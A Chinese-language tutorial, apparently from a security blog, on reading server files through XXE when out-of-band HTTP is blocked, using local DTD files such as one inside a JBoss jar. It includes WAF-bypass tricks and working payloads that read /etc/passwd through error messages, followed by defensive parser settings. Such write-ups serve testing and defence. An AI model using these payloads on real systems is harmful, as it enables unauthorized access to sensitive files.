通过XXE读取本地文件(HTTP OOB失败后)
字数 1302 2025-08-25 22:58:20

XXE漏洞利用高级技术:通过本地DTD文件读取系统文件

0x00 概述

本文详细介绍了在HTTP带外(OOB)请求失败的情况下,如何利用XML外部实体(XXE)漏洞通过本地DTD文件读取服务器上的敏感文件。这种技术特别适用于当目标系统禁止HTTP带外请求但允许XML解析错误信息返回的情况。

0x01 XXE漏洞发现

  1. 内容类型转换测试

    • 将请求的Content-Type从application/json改为application/xml
    • 观察服务器返回的错误信息,确认XML解析功能
  2. 绕过WAF限制

    • 某些WAF会拦截标准的XML声明<?xml version="1.0"?>
    • 绕过方法:直接使用XML正文而不加XML声明
    <root>
      <id>..</id>
      <name>..</name>
    </root>
    
  3. 基础XXE测试

    <!DOCTYPE a[ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
    <root>
      <id>1</id>
      <name>&x;</name>
    </root>
    
    • WAF绕过技巧:在协议前添加空格" file:///etc/passwd"

0x02 限制条件下的XXE利用

当遇到以下限制时:

  • 应用程序严格验证输入数据(如只允许[a-zA-Z0-9])
  • 无法通过正常响应获取文件内容
  • HTTP带外(OOB)请求被禁止

0x03 本地DTD技术原理

基本概念

  1. 前提条件

    • 目标服务器上存在包含可注入实体的DTD文件
    • 该DTD文件中的参数实体被其他实体引用
  2. 技术核心

    • 覆盖目标DTD中已有的参数实体
    • 通过错误消息反射文件内容

示例DTD结构

假设存在/usr/share/xyz/legit.dtd

<!ENTITY % injectable "something">
<!ENTITY % random (%injectable;)>

利用方法

<!DOCTYPE xxe[
  <!ENTITY % x SYSTEM "file:///usr/share/xyz/legit.dtd">
  <!ENTITY % injectable 'injecting)>
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
  '>
  %x;
]>

0x04 实际利用步骤

1. 发现本地DTD文件

使用工具dtd-finder扫描目标系统:

docker export {container} -o jboss.tar
java -jar dtd-finder-1.0-all.jar jboss.tar

2. 分析找到的DTD文件

示例发现:

  • 路径:/jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd
  • 可注入实体:xs-datatypes

3. 构造利用payload

<!DOCTYPE root [
  <!ENTITY % x SYSTEM "jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
  <!ENTITY % xs-datatypes '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %x;
]>
<root>
  <id>..</id>
  <name>test</name>
</root>

4. 关键点说明

  • 使用jar:协议读取jar包内的DTD文件
  • 覆盖xs-datatypes实体插入恶意内容
  • 通过错误消息反射文件内容

0x05 防御建议

  1. 禁用XXE

    • 配置XML解析器禁用外部实体解析
    • 例如在Java中:setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
  2. 输入验证

    • 严格验证所有XML输入
    • 使用白名单而非黑名单
  3. 安全配置

    • 更新所有XML处理库
    • 限制服务器文件系统访问权限
  4. WAF规则

    • 检测异常的XML结构
    • 监控对本地文件的访问尝试

0x06 参考资源

  1. Exploiting XXE with local DTD files
  2. Forcing XXE Reflection via Server Error Messages
  3. DTD Finder tool
  4. Automating Local DTD Discovery for XXE
  5. Original article
XXE漏洞利用高级技术:通过本地DTD文件读取系统文件 0x00 概述 本文详细介绍了在HTTP带外(OOB)请求失败的情况下,如何利用XML外部实体(XXE)漏洞通过本地DTD文件读取服务器上的敏感文件。这种技术特别适用于当目标系统禁止HTTP带外请求但允许XML解析错误信息返回的情况。 0x01 XXE漏洞发现 内容类型转换测试 : 将请求的Content-Type从 application/json 改为 application/xml 观察服务器返回的错误信息,确认XML解析功能 绕过WAF限制 : 某些WAF会拦截标准的XML声明 <?xml version="1.0"?> 绕过方法:直接使用XML正文而不加XML声明 基础XXE测试 : WAF绕过技巧:在协议前添加空格 " file:///etc/passwd" 0x02 限制条件下的XXE利用 当遇到以下限制时: 应用程序严格验证输入数据(如只允许[ a-zA-Z0-9 ]) 无法通过正常响应获取文件内容 HTTP带外(OOB)请求被禁止 0x03 本地DTD技术原理 基本概念 前提条件 : 目标服务器上存在包含可注入实体的DTD文件 该DTD文件中的参数实体被其他实体引用 技术核心 : 覆盖目标DTD中已有的参数实体 通过错误消息反射文件内容 示例DTD结构 假设存在 /usr/share/xyz/legit.dtd : 利用方法 0x04 实际利用步骤 1. 发现本地DTD文件 使用工具 dtd-finder 扫描目标系统: 2. 分析找到的DTD文件 示例发现: 路径: /jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd 可注入实体: xs-datatypes 3. 构造利用payload 4. 关键点说明 使用 jar: 协议读取jar包内的DTD文件 覆盖 xs-datatypes 实体插入恶意内容 通过错误消息反射文件内容 0x05 防御建议 禁用XXE : 配置XML解析器禁用外部实体解析 例如在Java中: setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) 输入验证 : 严格验证所有XML输入 使用白名单而非黑名单 安全配置 : 更新所有XML处理库 限制服务器文件系统访问权限 WAF规则 : 检测异常的XML结构 监控对本地文件的访问尝试 0x06 参考资源 Exploiting XXE with local DTD files Forcing XXE Reflection via Server Error Messages DTD Finder tool Automating Local DTD Discovery for XXE Original article